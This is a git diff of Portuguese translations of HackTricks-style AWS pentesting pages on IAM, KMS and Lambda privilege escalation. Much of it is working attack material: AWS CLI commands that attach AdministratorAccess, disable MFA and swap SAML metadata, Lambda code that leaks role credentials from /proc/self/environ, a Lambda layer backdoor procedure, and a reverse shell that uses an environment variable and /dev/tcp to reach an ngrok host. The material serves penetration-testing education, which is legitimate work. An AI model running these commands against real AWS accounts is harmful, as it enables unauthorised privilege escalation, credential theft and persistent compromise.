 **Exploit para Criação:**
 ```bash
@@ -55,35 +55,35 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require
 aws iam update-login-profile --user-name target_user --no-password-reset-required \
 --password '<password>'
 ```
-**Impacto:** Escalação de privilégio direta ao fazer login como "qualquer" usuário.
+**Impacto:** Escalada direta de privilégios ao autenticar-se como o usuário "any".
 
 ### **`iam:UpdateAccessKey`**
 
-Permite habilitar uma chave de acesso desativada, potencialmente levando a acesso não autorizado se o atacante possuir a chave desativada.
+Permite habilitar uma access key desativada, potencialmente permitindo acesso não autorizado caso o atacante possua essa access key.
 
 **Exploit:**
 ```bash
 aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
 ```
-**Impacto:** Escalação de privilégio direta ao reativar chaves de acesso.
+**Impacto:** Escalada direta de privilégios ao reativar chaves de acesso.
 
 ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
 
-Permite gerar ou redefinir credenciais para serviços específicos da AWS (por exemplo, CodeCommit, Amazon Keyspaces), herdando as permissões do usuário associado.
+Habilita a geração ou redefinição de credenciais para serviços específicos da AWS (por exemplo, CodeCommit, Amazon Keyspaces), herdando as permissões do usuário associado.
 
 **Exploit para Criação:**
 ```bash
 aws iam create-service-specific-credential --user-name <username> --service-name <service>
 ```
-**Exploit para Redefinir:**
+**Exploit para Reset:**
 ```bash
 aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
 ```
-**Impacto:** Escalonamento direto de privilégios dentro das permissões de serviço do usuário.
+**Impacto:** Escalada de privilégios direta dentro das permissões de serviço do usuário.
 
 ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
 
-Permite anexar políticas a usuários ou grupos, escalando diretamente os privilégios ao herdar as permissões da política anexada.
+Permite anexar policies a users ou groups, escalando privilégios diretamente ao herdar as permissões da policy anexada.
 
 **Exploit para Usuário:**
 ```bash
@@ -93,17 +93,17 @@ aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
 ```bash
 aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
 ```
-**Impacto:** Escalação de privilégio direta para qualquer coisa que a política concede.
+**Impacto:** Direct privilege escalation para qualquer coisa que a policy concede.
 
 ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
 
-Permite anexar ou colocar políticas em funções, usuários ou grupos, possibilitando a escalada de privilégio direta ao conceder permissões adicionais.
+Permite anexar ou aplicar policies a roles, users ou groups, permitindo direct privilege escalation ao conceder permissões adicionais.
 
-**Exploit para Função:**
+**Exploit for Role:**
 ```bash
 aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
 ```
-**Exploit para Políticas Inline:**
+**Exploit para Inline Policies:**
 ```bash
 aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
 --policy-document "file:///path/to/policy.json"
@@ -114,7 +114,7 @@ aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>"
 aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
 --policy-document file:///path/to/policy.json
 ```
-Você pode usar uma política como:
+Você pode usar uma policy como:
 ```json
 {
 "Version": "2012-10-17",
@@ -127,7 +127,7 @@ Você pode usar uma política como:
 ]
 }
 ```
-**Impacto:** Escalação de privilégios direta ao adicionar permissões através de políticas.
+**Impacto:** Escalação direta de privilégios ao adicionar permissões através de policies.
 
 ### **`iam:AddUserToGroup`**
 
@@ -137,18 +137,18 @@ Permite adicionar a si mesmo a um grupo IAM, escalando privilégios ao herdar as
 ```bash
 aws iam add-user-to-group --group-name <group_name> --user-name <username>
 ```
-**Impacto:** Escalação de privilégios direta para o nível das permissões do grupo.
+**Impacto:** Escala direta de privilégios ao nível das permissões do grupo.
 
 ### **`iam:UpdateAssumeRolePolicy`**
 
-Permite alterar o documento da política de assumir função de uma função, possibilitando a assunção da função e suas permissões associadas.
+Permite alterar o documento assume role policy de uma role, habilitando a assunção da role e suas permissões associadas.
 
 **Exploit:**
 ```bash
 aws iam update-assume-role-policy --role-name <role_name> \
 --policy-document file:///path/to/assume/role/policy.json
 ```
-Onde a política se parece com a seguinte, que concede ao usuário permissão para assumir a função:
+Quando a policy estiver como a seguinte, dando ao usuário permissão para assumir a role:
 ```json
 {
 "Version": "2012-10-17",
@@ -163,13 +163,13 @@ Onde a política se parece com a seguinte, que concede ao usuário permissão pa
 ]
 }
 ```
-**Impacto:** Escalação de privilégio direta ao assumir as permissões de qualquer função.
+**Impacto:** Escalada direta de privilégios ao assumir as permissões de qualquer role.
 
 ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
 
-Permite o upload de uma chave pública SSH para autenticação no CodeCommit e a desativação de dispositivos MFA, levando a uma potencial escalada de privilégio indireta.
+Permite o upload de uma chave pública SSH para autenticação no CodeCommit e a desativação de dispositivos MFA, levando a uma possível escalada de privilégios indireta.
 
-**Exploit para Upload de Chave SSH:**
+**Exploit for SSH Key Upload:**
 ```bash
 aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
 ```
@@ -177,24 +177,24 @@ aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_
 ```bash
 aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
 ```
-**Impacto:** Escalação de privilégio indireta ao habilitar acesso ao CodeCommit ou desabilitar a proteção MFA.
+**Impacto:** Escalada de privilégios indireta ao habilitar acesso ao CodeCommit ou desabilitar a proteção MFA.
 
 ### **`iam:ResyncMFADevice`**
 
-Permite a ressincronização de um dispositivo MFA, potencialmente levando a uma escalada de privilégio indireta ao manipular a proteção MFA.
+Permite a ressincronização de um dispositivo MFA, potencialmente levando a escalada de privilégios indireta ao manipular a proteção MFA.
 
 **Comando Bash:**
 ```bash
 aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
 --authentication-code1 <code1> --authentication-code2 <code2>
 ```
-**Impacto:** Escalação de privilégio indireta ao adicionar ou manipular dispositivos MFA.
+**Impacto:** Escalação de privilégios indireta ao adicionar ou manipular dispositivos MFA.
 
 ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
 
-Com essas permissões, você pode **alterar os metadados XML da conexão SAML**. Então, você poderia abusar da **federação SAML** para **fazer login** com qualquer **papel que esteja confiando** nele.
+Com essas permissões você pode **alterar os metadados XML da conexão SAML**. Então, você poderia abusar da **federação SAML** para **fazer login** com qualquer **role que confie nela**.
 
-Observe que, ao fazer isso, **usuários legítimos não poderão fazer login**. No entanto, você poderia obter o XML, para que possa colocar o seu, fazer login e configurar o anterior de volta.
+Observe que, ao fazer isso, **usuários legítimos não conseguirão fazer login**. No entanto, você pode obter o XML, colocar o seu, fazer login e restaurar a configuração anterior.
 ```bash
 # List SAMLs
 aws iam list-saml-providers
@@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
 aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
 ```
 > [!NOTE]
-> TODO: Uma ferramenta capaz de gerar os metadados SAML e fazer login com um papel especificado
+> TODO: Ferramenta capaz de gerar os metadados SAML e efetuar login com uma role especificada
 
 ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
 
-(Incerto sobre isso) Se um atacante tiver essas **permissões**, ele poderia adicionar uma nova **Thumbprint** para conseguir fazer login em todos os papéis que confiam no provedor.
+(Não tenho certeza sobre isso) Se um atacante tiver essas **permissões**, ele poderia adicionar um novo **Thumbprint** para conseguir efetuar login em todas as roles que confiam no provedor.
 ```bash
 # List providers
 aws iam list-open-id-connect-providers
@@ -224,8 +224,12 @@ aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
 # Update Thumbprints (The thumbprint is always a 40-character string)
 aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
 ```
+### `iam:PutUserPermissionsBoundary`
+
+Essa permissão permite que um atacante atualize o permissions boundary de um usuário, potencialmente escalando seus privilégios ao permitir que ele execute ações que normalmente são restritas pelas permissões existentes.
+
 ## Referências
 
 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md
similarity index 58%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md
index 470ba47a1..d38429d7c 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md
@@ -1,18 +1,18 @@
 # AWS - KMS Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## KMS
 
-Para mais informações sobre KMS, consulte:
+Para mais informações sobre KMS confira:
 
 {{#ref}}
-../aws-services/aws-kms-enum.md
+../../aws-services/aws-kms-enum.md
 {{#endref}}
 
 ### `kms:ListKeys`,`kms:PutKeyPolicy`, (`kms:ListKeyPolicies`, `kms:GetKeyPolicy`)
 
-Com essas permissões, é possível **modificar as permissões de acesso à chave** para que ela possa ser usada por outras contas ou até mesmo por qualquer pessoa:
+Com essas permissões é possível **modificar as permissões de acesso à chave** para que ela possa ser usada por outras contas ou até por qualquer pessoa:
 ```bash
 aws kms list-keys
 aws kms list-key-policies --key-id <id> # Although only 1 max per key
@@ -57,12 +57,12 @@ aws kms create-grant \
 --operations Decrypt
 ```
 > [!WARNING]
-> Uma concessão pode permitir apenas certos tipos de operações: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
+> Um grant só pode permitir certos tipos de operações: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
 
 > [!WARNING]
-> Note que pode levar alguns minutos para o KMS **permitir que o usuário use a chave após a concessão ter sido gerada**. Uma vez que esse tempo tenha passado, o principal pode usar a chave KMS sem precisar especificar nada.\
-> No entanto, se for necessário usar a concessão imediatamente [use um token de concessão](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (verifique o código a seguir).\
-> Para [**mais informações leia isso**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token).
+> Observe que pode levar alguns minutos para o KMS **permitir que o usuário use a chave depois que o grant tiver sido gerado**. Uma vez passado esse tempo, o principal pode usar a KMS key sem precisar especificar nada.\
+> No entanto, se for necessário usar o grant imediatamente [use a grant token](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (veja o código a seguir).\
+> Para [**mais informações leia isto**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token).
 ```bash
 # Use the grant token in a request
 aws kms generate-data-key \
@@ -70,15 +70,15 @@ aws kms generate-data-key \
 –-key-spec AES_256 \
 --grant-tokens $token
 ```
-Observe que é possível listar as concessões de chaves com:
+Observe que é possível listar grants de chaves com:
 ```bash
 aws kms list-grants --key-id <value>
 ```
 ### `kms:CreateKey`, `kms:ReplicateKey`
 
-Com essas permissões, é possível replicar uma chave KMS habilitada para múltiplas regiões em uma região diferente com uma política diferente.
+Com essas permissões é possível replicar uma KMS key habilitada para multi-region em uma região diferente com uma política diferente.
 
-Assim, um atacante poderia abusar disso para obter privesc seu acesso à chave e usá-la.
+Assim, um atacante poderia abusar disso para obter privesc ao acesso à key e usá-la
 ```bash
 aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml
 
@@ -104,7 +104,7 @@ Esta permissão permite usar uma chave para descriptografar algumas informaçõe
 Para mais informações, consulte:
 
 {{#ref}}
-../aws-post-exploitation/aws-kms-post-exploitation.md
+../../aws-post-exploitation/aws-kms-post-exploitation/README.md
 {{#endref}}
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md
similarity index 55%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md
index aa897ffe0..5ac38317a 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md
@@ -1,22 +1,22 @@
 # AWS - Lambda Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## lambda
 
-Mais info sobre lambda em:
+Mais informações sobre lambda em:
 
 {{#ref}}
-../aws-services/aws-lambda-enum.md
+../../aws-services/aws-lambda-enum.md
 {{#endref}}
 
 ### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
 
 Usuários com as permissões **`iam:PassRole`, `lambda:CreateFunction` e `lambda:InvokeFunction`** podem escalar seus privilégios.\
-Eles podem **criar uma nova Lambda function e atribuir um IAM role existente**, concedendo à função as permissões associadas a esse role. O usuário pode então **escrever e enviar código para essa Lambda function (por exemplo, com um rev shell)**.\
-Uma vez que a função esteja configurada, o usuário pode **acionar sua execução** e as ações pretendidas invocando a Lambda function através do AWS API. Essa abordagem permite efetivamente que o usuário execute tarefas indiretamente através da Lambda function, operando com o nível de acesso concedido ao IAM role associado a ela.\\
+Eles podem **criar uma nova função Lambda e atribuir a ela uma IAM role existente**, concedendo à função as permissões associadas a essa IAM role. O usuário pode então **escrever e fazer upload de código para essa função Lambda (por exemplo, com um rev shell)**.\
+Uma vez que a função esteja configurada, o usuário pode **disparar sua execução** e as ações pretendidas invocando a função Lambda através da AWS API. Essa abordagem permite efetivamente que o usuário execute tarefas indiretamente através da função Lambda, operando com o nível de acesso concedido à IAM role associada a ela.\\
 
-Um atacante poderia abusar disso para obter um **rev shell e steal the token**:
+Um atacante pode abusar disso para obter um **rev shell e roubar o token**:
 ```python:rev.py
 import socket,subprocess,os,time
 def lambda_handler(event, context):
@@ -46,8 +46,8 @@ aws lambda invoke --function-name my_function output.txt
 # List roles
 aws iam list-attached-user-policies --user-name <user-name>
 ```
-Você também poderia **abusar das permissões do role do lambda** a partir da própria função lambda.\
-Se o role do lambda tiver permissões suficientes, você poderia usá-lo para conceder privilégios de administrador a si mesmo:
+Você também poderia **abuse the lambda role permissions** a partir da própria lambda function.  
+Se a lambda role tivesse permissões suficientes, você poderia usá-la para conceder direitos de administrador a si mesmo:
 ```python
 import boto3
 def lambda_handler(event, context):
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
 )
 return response
 ```
-Também é possível leak as credenciais do role da lambda sem precisar de uma conexão externa. Isso seria útil para **Network isolated Lambdas** usadas em tarefas internas. Se houver security groups desconhecidos filtrando seus reverse shells, este trecho de código permitirá que você leak diretamente as credenciais como a saída da lambda.
+Também é possível leak as credentials da role da lambda sem precisar de uma conexão externa. Isso seria útil para Network isolated Lambdas usadas em tarefas internas. Se houver security groups desconhecidos filtrando seus reverse shells, este trecho de código permitirá que você leak diretamente as credentials como a saída da lambda.
 ```python
 def handler(event, context):
 sessiontoken = open('/proc/self/environ', "r").read()
@@ -72,7 +72,7 @@ return {
 aws lambda invoke --function-name <lambda_name> output.txt
 cat output.txt
 ```
-**Impacto Potencial:** Privesc direto para a role de serviço lambda arbitrária especificada.
+**Impacto Potencial:** Privesc direto para o role de serviço lambda arbitrário especificado.
 
 > [!CAUTION]
 > Observe que, mesmo que possa parecer interessante, **`lambda:InvokeAsync`** **não** permite por si só **executar `aws lambda invoke-async`**, você também precisa de `lambda:InvokeFunction`
@@ -85,21 +85,21 @@ Como no cenário anterior, você pode **conceder a si mesmo a permissão `lambda
 aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
 --action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
 ```
-**Impacto potencial:** Privesc direto para a lambda service role arbitrária especificada.
+**Impacto Potencial:** Privesc direto para a função de serviço do Lambda arbitrária especificada.
 
 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
 
-Usuários com **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** permissions (e potencialmente `dynamodb:PutItem` e `dynamodb:CreateTable`) podem indiretamente **escalate privileges** mesmo sem `lambda:InvokeFunction`.\
-Eles podem criar uma **Lambda function com código malicioso e atribuir a ela um IAM role existente**.
+Usuários com permissões **`iam:PassRole`, `lambda:CreateFunction` e `lambda:CreateEventSourceMapping`** (e potencialmente `dynamodb:PutItem` e `dynamodb:CreateTable`) podem indiretamente **escalar privilégios** mesmo sem `lambda:InvokeFunction`.\
+Eles podem criar uma **função Lambda com código malicioso e atribuir a ela uma role IAM existente**.
 
-Em vez de invocar diretamente a Lambda, o usuário configura ou utiliza uma tabela DynamoDB existente, vinculando-a à Lambda através de um event source mapping. Essa configuração garante que a Lambda function seja **disparada automaticamente quando um novo item** for inserido na tabela, seja pela ação do usuário ou por outro processo, assim invocando indiretamente a Lambda function e executando o código com as permissões do IAM role passado.
+Ao invés de invocar o Lambda diretamente, o usuário configura ou utiliza uma tabela DynamoDB existente, vinculando-a ao Lambda por meio de um event source mapping. Essa configuração garante que a função Lambda seja **acionada automaticamente quando um novo item** for inserido na tabela, seja pela ação do usuário ou por outro processo, invocando indiretamente a função Lambda e executando o código com as permissões da role IAM passada.
 ```bash
 aws lambda create-function --function-name my_function \
 --runtime python3.8 --role <arn_of_lambda_role> \
 --handler lambda_function.lambda_handler \
 --zip-file fileb://rev.zip
 ```
-Se o DynamoDB já estiver ativo no ambiente AWS, o usuário só **precisa estabelecer o event source mapping** para a função Lambda. No entanto, se o DynamoDB não estiver em uso, o usuário deve **criar uma nova tabela** com streaming habilitado:
+Se o DynamoDB já estiver ativo no ambiente AWS, o usuário precisa apenas **estabelecer o event source mapping** para a função Lambda. No entanto, se o DynamoDB não estiver em uso, o usuário deve **criar uma nova tabela** com streaming habilitado:
 ```bash
 aws dynamodb create-table --table-name my_table \
 --attribute-definitions AttributeName=Test,AttributeType=S \
@@ -113,16 +113,16 @@ aws lambda create-event-source-mapping --function-name my_function \
 --event-source-arn <arn_of_dynamodb_table_stream> \
 --enabled --starting-position LATEST
 ```
-Com a função Lambda vinculada ao DynamoDB stream, o atacante pode **acionar indiretamente a Lambda ativando o DynamoDB stream**. Isso pode ser feito **inserindo um item** na tabela DynamoDB:
+Com a função Lambda vinculada ao DynamoDB stream, o atacante pode **acionar indiretamente a Lambda ao ativar o DynamoDB stream**. Isso pode ser realizado **inserindo um item** na tabela do DynamoDB:
 ```bash
 aws dynamodb put-item --table-name my_table \
 --item Test={S="Random string"}
 ```
-**Impacto Potencial:** Privesc direto para o lambda service role especificado.
+**Impacto Potencial:** Privesc direto para o service role do lambda especificado.
 
 ### `lambda:AddPermission`
 
-Um atacante com essa permissão pode **conceder a si mesmo (ou a outros) quaisquer permissões** (isso gera políticas baseadas em recurso para conceder acesso ao recurso):
+Um atacante com essa permissão pode **conceder a si mesmo (ou a outros) qualquer permissão** (isso gera políticas baseadas em recursos para conceder acesso ao recurso):
 ```bash
 # Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
 aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
@@ -130,11 +130,11 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
 # Invoke the function
 aws lambda invoke --function-name <func_name> /tmp/outout
 ```
-**Impacto potencial:** Privesc direto na role de serviço do lambda ao conceder permissão para modificar o código e executá-lo.
+**Impacto Potencial:** Privesc direto para a função de serviço do lambda usada ao conceder permissão para modificar o código e executá-lo.
 
 ### `lambda:AddLayerVersionPermission`
 
-Um atacante com essa permissão pode **conceder a si mesmo (ou a outros) a permissão `lambda:GetLayerVersion`**. Ele poderia acessar a layer e procurar por vulnerabilidades ou informações sensíveis.
+Um atacante com essa permissão pode **conceder a si mesmo (ou a outros) a permissão `lambda:GetLayerVersion`**. Ele poderia acessar a camada e procurar por vulnerabilidades ou informações sensíveis
 ```bash
 # Give everyone the permission lambda:GetLayerVersion
 aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
@@ -143,8 +143,8 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
 
 ### `lambda:UpdateFunctionCode`
 
-Usuários que possuem a permissão **`lambda:UpdateFunctionCode`** têm potencial para **modificar o código de uma função Lambda existente que esteja vinculada a um role do IAM.**\
-O atacante pode **modificar o código da função Lambda para exfiltrar as credenciais IAM**.
+Usuários com a permissão **`lambda:UpdateFunctionCode`** têm o potencial de **modificar o código de uma função Lambda existente que está vinculada a um role do IAM.**\
+O atacante pode **modificar o código da Lambda para exfiltrate as credenciais do IAM**.
 
 Embora o atacante possa não ter a capacidade direta de invocar a função, se a função Lambda já existir e estiver operacional, é provável que ela seja acionada por fluxos de trabalho ou eventos existentes, facilitando assim indiretamente a execução do código modificado.
 ```bash
@@ -157,17 +157,17 @@ aws lambda invoke --function-name my_function output.txt
 
 # If not check if it's exposed in any URL or via an API gateway you could access
 ```
-**Impacto Potencial:** Direct privesc to the lambda service role used.
+**Impacto Potencial:** privesc direto para o service role usado pela função Lambda.
 
 ### `lambda:UpdateFunctionConfiguration`
 
-#### RCE via env variables
+#### RCE via variáveis de ambiente
 
-Com essa permissão é possível adicionar variáveis de ambiente que farão o Lambda executar código arbitrário. Por exemplo, em python é possível abusar das variáveis de ambiente `PYTHONWARNING` e `BROWSER` para fazer um processo python executar comandos arbitrários:
+Com essa permissão é possível adicionar variáveis de ambiente que farão com que a função Lambda execute código arbitrário. Por exemplo, em python é possível abusar das variáveis de ambiente `PYTHONWARNING` e `BROWSER` para fazer um processo python executar comandos arbitrários:
 ```bash
 aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
 ```
-Para outras linguagens de script existem outras variáveis de ambiente que você pode usar. Para mais informações, consulte as subseções de linguagens de script em:
+Para outras linguagens de script, existem outras variáveis de ambiente que você pode usar. Para mais informações, consulte as subseções de linguagens de script em:
 
 {{#ref}}
 https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
@@ -175,9 +175,9 @@ https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-esc
 
 #### RCE via Lambda Layers
 
-[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) permite incluir **code** na sua lambda function mas **armazenando-o separadamente**, de forma que o function code possa permanecer pequeno e **várias funções podem compartilhar code**.
+[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) permite incluir **code** na sua lamdba function, mas **storing it separately**, de modo que o código da função pode permanecer pequeno e **several functions can share code**.
 
-Dentro do lambda você pode verificar os caminhos de onde python code é carregado com uma função como a seguinte:
+Dentro do lambda você pode verificar os caminhos de onde o python code é carregado com uma função como a seguinte:
 ```python
 import json
 import sys
@@ -185,7 +185,7 @@ import sys
 def lambda_handler(event, context):
 print(json.dumps(sys.path, indent=2))
 ```
-Estes são os lugares:
+Estes são os locais:
 
 1. /var/task
 2. /opt/python/lib/python3.7/site-packages
@@ -198,56 +198,56 @@ Estes são os lugares:
 9. /opt/python/lib/python3.7/site-packages
 10. /opt/python
 
-For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position).
+Por exemplo, a biblioteca boto3 é carregada de `/var/runtime/boto3` (4th position).
 
 #### Exploração
 
-É possível abusar da permissão `lambda:UpdateFunctionConfiguration` para **adicionar uma nova layer** a uma função lambda. Para executar código arbitrário, essa layer precisa conter alguma **biblioteca que a lambda vai importar.** Se você puder ler o código da lambda, poderá encontrar isso facilmente; observe também que pode ser possível que a lambda já esteja **usando uma layer** e você possa **baixar** a layer e **adicionar seu código** nela.
+É possível abusar da permissão `lambda:UpdateFunctionConfiguration` para **add a new layer** a uma função lambda. Para executar código arbitrário essa layer precisa conter alguma **library que o lambda vai importar.** Se você puder ler o código do lambda, pode encontrar isso facilmente; também note que pode ser possível que o lambda já esteja **already using a layer** e você possa **download** a layer e **add your code** nela.
 
-Por exemplo, suponha que a lambda esteja usando a biblioteca boto3; isso vai criar uma layer local com a versão mais recente da biblioteca:
+Por exemplo, suponha que o lambda esteja usando a biblioteca boto3; isso criará uma layer local com a versão mais recente da biblioteca:
 ```bash
 pip3 install -t ./lambda_layer boto3
 ```
-Você pode abrir `./lambda_layer/boto3/__init__.py` e **adicionar o backdoor no código global** (uma função para exfiltrate credentials ou obter um reverse shell, por exemplo).
+Você pode abrir `./lambda_layer/boto3/__init__.py` e **adicionar a backdoor no código global** (a function to exfiltrate credentials or get a reverse shell for example).
 
-Depois, compacte o diretório `./lambda_layer` em um zip e **upload the new lambda layer** na sua própria conta (ou na conta da vítima, mas você pode não ter permissões para isso).\
-Note que você precisa criar uma pasta python e colocar as bibliotecas nela para sobrescrever /opt/python/boto3. Além disso, a layer precisa ser **compatible with the python version** usada pela lambda e, se você fizer upload para sua conta, precisa estar na **same region:**
+Depois, compacte o diretório `./lambda_layer` e **faça upload do novo lambda layer** na sua própria conta (ou na da vítima, mas você pode não ter permissões para isso).\
+Observe que você precisa criar um python folder e colocar as bibliotecas nele para sobrescrever /opt/python/boto3. Além disso, o layer precisa ser **compatível com a python version** usada pela lambda e, se você fizer upload para sua conta, precisa estar na **mesma region:**
 ```bash
 aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
 ```
-Agora, torne a lambda layer carregada **acessível por qualquer conta**:
+Agora, torne a lambda layer enviada **acessível por qualquer conta**:
 ```bash
 aws lambda add-layer-version-permission --layer-name boto3 \
 --version-number 1 --statement-id public \
 --action lambda:GetLayerVersion --principal *
 ```
-E anexe o lambda layer à victim lambda function:
+E anexe a lambda layer à função lambda da vítima:
 ```bash
 aws lambda update-function-configuration \
 --function-name <func-name> \
 --layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
 --timeout 300 #5min for rev shells
 ```
-O próximo passo seria ou **invocar a função** nós mesmos se pudermos ou esperar até que ela **seja invocada** por meios normais — o que é o método mais seguro.
+O próximo passo seria ou **invocar a função** nós mesmos, se pudermos, ou esperar até que **ela seja invocada** por meios normais — que é o método mais seguro.
 
-Uma forma **mais furtiva de explorar esta vulnerabilidade** pode ser encontrada em:
+Uma **maneira mais stealth de explorar esta vulnerabilidade** pode ser encontrada em:
 
 {{#ref}}
-../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
+../../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
 {{#endref}}
 
-**Impacto Potencial:** Privesc direto para o lambda service role usado.
+**Potential Impact:** Privesc direto para a role de serviço do lambda usada.
 
 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
 
-Talvez com essas permissões você consiga criar uma function e executá-la chamando a URL... mas não consegui encontrar uma forma de testar isso, então me avise se você conseguir!
+Talvez com essas permissões você consiga criar uma função e executá-la chamando a URL... mas eu não consegui encontrar uma maneira de testá-la, então me avise se você conseguir!
 
 ### Lambda MitM
 
-Algumas lambdas vão **receber informações sensíveis dos usuários em parâmetros.** Se conseguir RCE em uma delas, você pode exfiltrar as informações que outros usuários estão enviando para ela, veja em:
+Some lambdas are going to be **receiving sensitive info from the users in parameters.** If get RCE in one of them, you can exfiltrate the info other users are sending to it, check it in:
 
 {{#ref}}
-../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
+../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
 {{#endref}}
 
 ## Referências
@@ -255,25 +255,25 @@ Algumas lambdas vão **receber informações sensíveis dos usuários em parâme
 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 
 
 
 ### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing
 
